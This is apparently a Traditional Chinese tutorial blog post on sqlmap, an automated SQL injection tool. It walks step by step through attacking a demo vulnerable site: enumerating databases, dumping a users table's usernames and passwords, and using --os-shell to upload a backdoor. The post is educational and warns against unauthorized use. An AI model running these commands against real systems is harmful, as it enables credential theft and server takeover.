iT邦幫忙

2025 iThome 鐵人賽

DAY 25
0

今天我們來介紹滲透測試中專門用於「定點爆破」、對資料庫進行深度打擊的自動化神器——sqlmap

如果說 Nmap 是偵察兵,Metasploit 是軍火庫,那麼 sqlmap 就是一位技藝高超、專門針對資料庫金庫的自動化開鎖專家 (Automated Safecracker)。當你發現一個網站可能存在 SQL Injection (SQLi) 漏洞時,sqlmap 就是你用來驗證、利用並從中榨取所有價值的不二之選。


什麼是 sqlmap?

sqlmap 是一款開源、免費、跨平台的命令列工具,它將偵測和利用 SQL Injection 漏洞的整個過程完全自動化

手動進行 SQL Injection 測試是一個極其繁瑣且耗時的過程,測試人員需要手動建構各種 SQL 語句,根據伺服器極其細微的回應差異(頁面內容、回應時間、HTTP 狀態碼等)來推斷資料庫的結構和內容。

sqlmap 將這個複雜的過程變成了一系列的自動化指令。你只需要提供一個可能存在漏洞的目標 URL,sqlmap 就會:

  1. 自動測試目標參數是否存在 SQLi 漏洞。
  2. 自動識別後端是哪種資料庫管理系統 (DBMS)。
  3. 自動嘗試各種 SQLi 技術(盲注、聯合查詢、錯誤注入等)。
  4. 成功後,提供一個清晰的流程讓你提取資料庫中的所有資訊。

sqlmap 的核心功能與強大之處

sqlmap 的能力遠不止於確認漏洞,它的目標是完全控制後端資料庫伺服器。

1. 全面的資料庫支援

sqlmap 支援市面上幾乎所有主流的資料庫系統,包括:

  • MySQL, MariaDB
  • PostgreSQL
  • Microsoft SQL Server
  • Oracle
  • SQLite
  • ...以及更多。

2. 多樣化的注入技術

它能自動化地嘗試多種 SQLi 技術,以應對不同的伺服器環境和防護措施:

  • Boolean-based blind (布林盲注):根據頁面回傳 True/False 的狀態來猜解資料。
  • Time-based blind (時間盲注):根據伺服器回應時間的延遲來判斷真偽。
  • Error-based (錯誤注入):利用資料庫的錯誤訊息來直接回顯資料。
  • UNION query (聯合查詢注入):利用 UNION 語句將查詢結果附加到正常的回應中,直接獲取資料。
  • Stacked queries (堆疊查詢):在支援的資料庫中,一次執行多個 SQL 語句。

3. 強大的資料列舉 (Data Enumeration)

一旦確認漏洞存在,sqlmap 就如同一個資料庫瀏覽器,可以讓你:

  • 列出所有資料庫 (Databases)。
  • 列出指定資料庫中的所有資料表 (Tables)。
  • 列出指定資料表中的所有欄位 (Columns)。
  • 傾印 (Dump) 整個資料表、特定欄位甚至整個資料庫的資料。
  • 搜尋特定的欄位名稱(例如 username, password)。

4. 超越資料庫:取得伺服器控制權

在特定條件下(例如資料庫使用者權限夠高、資料庫支援特定功能),sqlmap 的能力可以從資料庫層面延伸到作業系統層面

  • 讀取/寫入伺服器檔案:可以直接讀取伺服器上的任意檔案(如設定檔),或寫入檔案(例如上傳一個 Web Shell)。
  • 執行作業系統命令 (--os-shell):這是 sqlmap 最令人畏懼的功能之一。如果條件允許,它可以直接在目標伺服器上提供一個互動式的命令列介面 (OS Shell),達成 RCE (遠端程式碼執行) 的效果,完全控制伺服器。

實際操作:一個典型的攻擊流程

假設我們發現一個 URL http://testphp.vulnweb.com/listproducts.php?cat=1,我們懷疑 cat 參數可能存在 SQLi 漏洞。

第一步:基礎檢測
這是最簡單的指令,讓 sqlmap 去自動探測。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1"

sqlmap 會詢問你一系列問題,例如是否要測試其他參數、測試等級等。對於初學者,可以直接按 Enter 使用預設值。

第二步:列舉所有資料庫
一旦 sqlmap 確認漏洞存在,你就可以開始列舉資料庫。

sqlmap -u "http://..." --dbs

輸出可能像這樣:
[+] available databases [2]:
[*] information_schema
[*] acuart

第三-四步:列舉資料表與欄位
假設我們對 acuart 資料庫感興趣。

# 列出 acuart 資料庫中的所有資料表
sqlmap -u "http://..." -D acuart --tables

# 假設找到了 users 資料表,列出其中的所有欄位
sqlmap -u "http://..." -D acuart -T users --columns

第五步:傾印資料
現在我們知道了資料庫、資料表和欄位,可以把管理員的帳號密碼倒出來。

# 傾印 users 資料表中 uname 和 pass 兩個欄位的內容
sqlmap -u "http://..." -D acuart -T users -C "uname,pass" --dump

第六步 (進階):嘗試取得 OS Shell
如果資料庫權限夠高,你可以嘗試直接拿下伺服器。

sqlmap -u "http://..." --os-shell

sqlmap 會引導你完成上傳一個小型的後門程式,然後提供一個互動式的 shell 介面。


與 Burp Suite 的協同作戰

在真實的滲透測試中,很多請求是複雜的 POST 請求或包含 Cookie 認證。手動在命令列中建構這些請求非常麻煩。專業的工作流程是:

  1. 在 Burp Suite 中攔截一個目標請求。
  2. 將這個請求儲存成一個檔案 (例如 request.txt)。
  3. 讓 sqlmap 直接讀取這個檔案來發動攻擊:
    sqlmap -r request.txt -p parameter_to_test
    
    -r 參數讓 sqlmap 可以處理任何複雜的請求,-p 則用來指定要測試的參數。

使用 sqlmap 的注意事項

與 Nmap 一樣,sqlmap 是一個強大的攻擊工具。絕對禁止在未獲授權的系統上使用它。自動化的 SQLi 掃描會對資料庫造成極大的壓力,甚至可能損壞資料,因此必須在嚴格授權和監控下進行。

sqlmap 是 SQL Injection 漏洞的「終極殺器」。它將原本需要資深專家花費數小時甚至數天才能完成的手動注入過程,縮短為幾分鐘的自動化指令。它不僅是滲透測試人員的效率倍增器,也是所有開發人員和資料庫管理員都應該了解並敬畏的工具,因為它清晰地展示了 SQL Injection 漏洞一旦存在,可能造成的毀滅性後果。


上一篇
Day23:SSRF是甚麼
系列文
跨出第一步:D 從0到0.1的Web security 25
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言